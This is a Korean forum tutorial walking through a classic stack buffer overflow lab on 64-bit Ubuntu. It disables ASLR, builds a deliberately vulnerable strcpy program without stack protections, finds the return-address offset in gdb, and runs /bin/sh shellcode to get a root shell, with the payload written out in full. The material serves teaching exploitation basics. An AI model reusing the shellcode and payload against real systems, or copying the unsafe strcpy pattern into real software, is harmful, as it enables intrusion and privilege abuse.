홈 > IT > IT정보
IT정보

BOF 실습

BOF 실습 


먼저 스택, 어셈블리 간략설명 보고 보시면 좋을꺼 같습니다.

(참고[스택, 어셈블리 간략설명] : http://www.hacure.com/bbs/board.php?bo_table=tip&wr_id=35&sfl=wr_name%2C1&stx=realdragonhead&sop=and)


현재는 거의 사용이 되지 않는 방식이지만, BOF가 되는 환경을 만들어서 BOF를 발생시켜 쉘코드를 실행하는 것을 실습해보자.

환경은 64비트 ubuntu 에서 실습하였다.


먼저 BOF 환경을 만들어주기 위해 루트 권한에서 메모리보호 기법 중 하나인 ASLR 을 끈다.

echo 0 >> /proc/sys/kernel/randomize_va_space

그리고 나서 ASLR 이 꺼졌는지 확인을 해본다.

cat /proc/sys/kernel/randomize_va_space

0으로 출력된다면 정상적으로 ASLR 이 꺼진것이다.(2가 켜진 상태이다.)


환경이 만들어졌다면, 먼저 BOF 가 발생할수 있는 코드를 작성한다.

//target.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int main(int argc, char * argv[]) {
    char buffer[256];
    if(argc != 2) {
        exit(0);
    }
    printf("buffer address : %pn", buffer);
    strcpy(buffer, argv[1]);    // vulnerable
    printf("output : %sn", buffer);
    return 0;
}

코드를 보면 strcpy 함수에서 입력값을 버퍼로 저장하는 과정에서 BOF 가 발생할 수 있다.


다음으로 파일을 컴파일하는데 컴파일 할때 이때 스택 실행 권한을 부여하고 메모리보호 기법을 끈다.

# gcc -m64 -o target target.c -z execstack -fno-stack-protector


다음으로 파일을 실행시킨다. 이때 파일 실행시 오류가 나게 할 수있는 지 확인한다.

# ./target $(python -c 'print "A"*400')
buffer address : 0x7fffffffe270
output : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


파일에 오류를 일으킬수 있다면. gdb로 파일을 분석해보자.

#gdb -q -tui ./target


gdb 세팅을 해준다.

(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) b *main
Breakpoint 1 at 0x4005b6
(gdb) disas *main


프로그램을 실행시키는데 이때 적당한 값을 주어 오버플로우를 시킨다.

(gdb) r $(python -c 'print "A"*400')
Starting program: /root/playground/bof/_________/target $(python -c 'print "A"*400')


Breakpoint 1, 0x00000000004005b6 in main ()


그리고 문제의 지점인 strcpy가 실행되는 부분까지 넘어가는데, ni또는 stepi 명령어를 이용한다.

(gdb) ni


strcpy 함수가 끝나고 난 뒤에 스택포인터를 관찰하면 다음과 같다.

   │0x400615 <main+95>      call   0x400470 <strcpy@plt>                                                                          │
  >│0x40061a <main+100>     lea    rax,[rbp-0x100]      110]


(gdb) x/20xg $rsp
0x7fffffffe210: 0x00007fffffffe408      0x00000002ffffe250
0x7fffffffe220: 0x4141414141414141      0x4141414141414141
0x7fffffffe230: 0x4141414141414141      0x4141414141414141
0x7fffffffe240: 0x4141414141414141      0x4141414141414141
0x7fffffffe250: 0x4141414141414141      0x4141414141414141
0x7fffffffe260: 0x4141414141414141      0x4141414141414141
0x7fffffffe270: 0x4141414141414141      0x4141414141414141
0x7fffffffe280: 0x4141414141414141      0x4141414141414141
0x7fffffffe290: 0x4141414141414141      0x4141414141414141
0x7fffffffe2a0: 0x4141414141414141      0x4141414141414141

0x7fffffffe220 부터 41로 계속 반복되는것을 알 수 있다.


그럼 계속해서 ni로 이동하여 main 함수 끝나 반환되는 곳, main의 ret 값은 어떻게 됬는지 한번 보자.

      0x400638 <main+130>             leave  r14 R [rax]                                                                            │
  >  0x400639 <main+131>             ret    r15d,edi


(gdb) x/10xg $rsp
0x7fffffffe328: 0x4141414141414141      0x4141414141414141
0x7fffffffe338: 0x4141414141414141      0x4141414141414141
0x7fffffffe348: 0x4141414141414141      0x4141414141414141
0x7fffffffe358: 0x4141414141414141      0x4141414141414141
0x7fffffffe368: 0x4141414141414141      0x4141414141414141


반환되는 주소값이 저장되는 ret 마저 41로 저장되고 그 넘어까지 모두 41로 덮힌것을 확인할 수 있다.


이때

(gdb) i r


그럼 그냥 실행시켜보면 다음과 같은 결과가 나온다.

(gdb) c
Continuing.
output : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.
0x0000000000400639 in main ()

그다음 i r 명령어를 사용하여 rip 의 주소값을 살펴보면 변화가 없다.

이런 결과가 나오는 이유는 참조하는 메모리 주소가 잘못된 이유도 있지만, 사용자가 사용할 수 있는 메모리 주소값은 0x00007fffffffffff 이하이다. 근데 0x4141414141414141 이 저장되어 있으므로 사용자가 접근이 불가능한 부분이므로 오류가 나며 rip 값을 변화시킬수 없는 것이다.


그럼 이번에는 스택의 크기를 구해 ret 이 반환되는 정확한 위치에 0x00007fffffffffff 보다 작은 주소값을 넣어 rip 를 변조해보자.


아까 살펴본 스택 포인터를 기준으로 스택의 크기를 구해볼 수 있는데, 스택포인터는 0x7fffffffe210에서 0x7fffffffe318 으로 변했다. 즉 두 값을 빼면 스택의 크기가 나온다.

0x7fffffffe328 - 0x7fffffffe220 = 0x108 = 264 이다.

즉 264byte 의 크기를 가진다.


그럼 이를 바탕으로 gdb 를 통해 처음부터 다시 실행시켜 ret 이 반환되는 위치에 원하는 값을 저장해보자.

r $(python -c 'print "A"*264 + "B"*6')
[code]


또 한번 BOF 가 일어나는 strcpy 함수가 끝난 후 스택 포인터의 위치를 한번 확인해보자.
[code]
(gdb) x/20xg $rsp
0x7fffffffe290: 0x00007fffffffe488      0x00000002ffffe2d0
0x7fffffffe2a0: 0x4141414141414141      0x4141414141414141
0x7fffffffe2b0: 0x4141414141414141      0x4141414141414141
0x7fffffffe2c0: 0x4141414141414141      0x4141414141414141
0x7fffffffe2d0: 0x4141414141414141      0x4141414141414141
0x7fffffffe2e0: 0x4141414141414141      0x4141414141414141
0x7fffffffe2f0: 0x4141414141414141      0x4141414141414141
0x7fffffffe300: 0x4141414141414141      0x4141414141414141
0x7fffffffe310: 0x4141414141414141      0x4141414141414141
0x7fffffffe320: 0x4141414141414141      0x4141414141414141

이번에는 0x7fffffffe2a0 으로부터 41로 덮혀있다.


그럼 rip 가 바뀌었는지 확인해보기위해 ret 이 반환될때 변경되는 스택 포인터의 위치에 우리가 원하는 값이 들어가 있는지 확인해보자.

(gdb) x/20xg $rsp
0x7fffffffe3a8: 0x0000424242424242      0x0000000000000000
0x7fffffffe3b8: 0x00007fffffffe488      0x0000000200000000
0x7fffffffe3c8: 0x00000000004005b6      0x0000000000000000
0x7fffffffe3d8: 0x3b3e6e84f05cedc9      0x00000000004004c0
0x7fffffffe3e8: 0x00007fffffffe480      0x0000000000000000
0x7fffffffe3f8: 0x0000000000000000      0xc4c191fb3bbcedc9
0x7fffffffe408: 0xc4c18141530cedc9      0x0000000000000000
0x7fffffffe418: 0x0000000000000000      0x0000000000000000
0x7fffffffe428: 0x0000000000000002      0x00000000004005b6
0x7fffffffe438: 0x00000000004006b0      0x0000000000000000

0x7fffffffe3a8 주소에

0x424242424242가 들어간 것을 확인 할 수 있다.


그럼 i r 명령어를 통해 확인해보면 일부분은 아래와 같다.

rax            0x0      0

rbx            0x0      0

rcx            0x7ffffee8       2147483368

rdx            0x7ffff7dd3780   140737351858048

rsi            0x1      1

rdi            0x1      1

rbp            0x4141414141414141       0x4141414141414141

rsp            0x7fffffffe3b0   0x7fffffffe3b0

r8             0x0      0

r9             0x118    280

r10            0x10e    270

r11            0x246    582

r12            0x4004c0 4195520

r13            0x7fffffffe480   140737488348288

r14            0x0      0

r15            0x0      0

rip            0x424242424242   0x424242424242

eflags         0x206    [ PF IF ]


위와 같이 rip 가 변조된 것을 확인해 볼 수 있다.

그럼 프로그램을 계속 실행해보면 아래와 같이 된다.

(gdb) c
Continuing.


Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()

물론 의미없는 주소값이여서 에러가 발생한다.


그럼 이렇게 rip를 변조하는 법을 알았으므로, 의미있는 주소값으로 rip를 변조해보자.


우리가 앞에 264byte 의 의미없는 "A"를 넣었고, 뒤에 "B" 6byte를 삽입하였다.

그럼 스택포인터를 가리키도록 rip를 변조하고, 스택포인터 앞부분에 쉘코드를 넣어보겠다.

즉 페이로드는 아래와 같다.

[SHELLCODE] + [264-(SHELLCODE크기) 의 크기를 가지는 의미없는 값] + [가리킬 스택 포인터 주소값]


쉘코드는 http://shell-storm.org/shellcode/files/shellcode-806.php 에서 얻을 수 있으며, 단순히 /bin/sh 를 실행시키는 쉘코드이다.

(쉘코드 만드는 법은 나중에 따로 올리겠습니다.)


쉘코드의 길이는 27byte이므로 앞에 쉘코드를 삽입하므로, 264 - 27 = 237 의 값을 갖는다.

즉 페이로드를 짜보면 다음과 같다.

[SHELL CODE(27byte)] + [237byte 크기의 의미없는 값(237byte)] + [가리킬 스택 포인터 주소값]

뒤에 삽입되는 스택 포인터 주소값은 리틀 엔디안 방식으로 삽입이 되어야 하기 때문에 거꾸로 삽입한다.


그럼 위 방식으로 실행시켜보자.


# ./target $(python -c 'print "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"+"A"*237+"x7fxffxffxffxe2xa0"[::-1]')
buffer address : 0x7fffffffe2f0
output : 1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
Illegal instruction

Illegal instruction 이 출력되는데 출력된 버퍼 주소로 바꾸어서 한번 시도해 보았다.


# ./target $(python -c 'print "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"+"A"*237+"x7fxffxffxffxe2xf0"[::-1]')
buffer address : 0x7fffffffe2f0
output : 1�H�ѝ��Ќ��H��ST_�RWT^�;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
# whoami
root
#

정상적으로 쉘이 실행된 것을 볼 수 있다.

,

0 Comments